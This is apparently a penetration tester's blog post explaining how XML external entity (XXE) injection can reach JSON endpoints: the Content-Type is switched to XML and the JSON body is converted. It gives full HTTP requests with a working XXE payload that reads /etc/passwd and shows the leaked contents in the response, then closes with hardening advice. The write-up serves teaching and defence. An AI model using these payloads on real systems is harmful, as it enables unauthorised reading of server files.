XXE is a well-known attack against XML endpoints. To exploit it, external entity declarations are included in the XML payload, and the server expands the entities, potentially resulting in read access to the web server’s file system, remote file system access via UNC paths, or connections to arbitrary hosts over HTTP/HTTPS. XXE attacks rely on inline DOCTYPE definitions in the XML payload. In the following example, an external entity pointing to the /etc/passwd file on the web server is declared and the entity is included in the XML payload:
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>[some xml content..]<element>&xxe;</element>[some xml content..]It’s a simple and neat attack. Time to play with the Content-Type header and HTTP request payloads to see if this could be exploited against JSON endpoints as well. A sample JSON request is listed below, with the Content-Type set to application/json (with silly sample data and most HTTP headers removed):
HTTP Request:
POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/jsonContent-Length: 38{"search":"name","value":"netspitest"}HTTP Response:
HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 43{"error": "no results for name netspitest"}If the Content-Type header is changed to application/xml instead, the client is telling the server that the POST payload is XML formatted data. But if it’s not, the server will not be able to parse it may display an error similar to the following:
HTTP Request:
POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/xmlContent-Length: 38{"search":"name","value":"netspitest"}HTTP Request:
HTTP/1.1 500 Internal Server ErrorContent-Type: application/jsonContent-Length: 127{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}The error indicates that the server is able to process XML formatted data as well as JSON formatted data but as the data wasn’t actually XML formatted like stated in the Content-Type header, it cannot be parsed. To overcome this, JSON has to be converted to XML. There are multiple online tools for that, and Eric Gruber created a Burp plugin to automate the conversion in Burp (Content-Type Converter).
Original JSON
{"search":"name","value":"netspitest"}XML Conversion
<?xml version="1.0" encoding="UTF-8" ?><search>name</search><value>netspitest</value>However, this straight up conversion results in an invalid XML document as it does not have a root element that’s required in well formatted XML documents. If the invalid XML is sent to the server. sometimes the server will respond with an error message stating what kind of root element was expected, along with the namespace. Otherwise the best guess is to add root element <root> which makes the XML valid.
<?xml version="1.0" encoding="UTF-8" ?><root><search>name</search><value>netspitest</value></root>Now the original JSON request can be sent as XML and the server may return a valid response:
HTTP Request:
POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/xmlContent-Length: 112<?xml version="1.0" encoding="UTF-8" ?><root><search>name</search><value>netspitest</value></root>HTTP Response:
HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 43{"error": "no results for name netspitest"}As the server accepts XML input, XXE can be exploited against a JSON endpoint.
HTTP Request:
POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/xmlContent-Length: 288<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><search>name</search><value>&xxe;</value></root>HTTP Response:
HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 2467{"error": "no results for name root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/sync....Obviously, not every JSON endpoint accepts XML; changing the Content-Type header may not have any impact, or it may result in 415 Unsupported Media Type error message. But on the other hand, JSON to XML attacks are not limited to just POST payloads with JSON content. I have seen this work on JSON formatted GET and POST parameters as well. If the JSON parameter is converted and sent as XML, the server will guess what the content type is.
So, to harden a JSON endpoint, XML parsing should be disabled altogether and/or inline DOCTYPE declarations should be disabled to prevent XML external entity injections.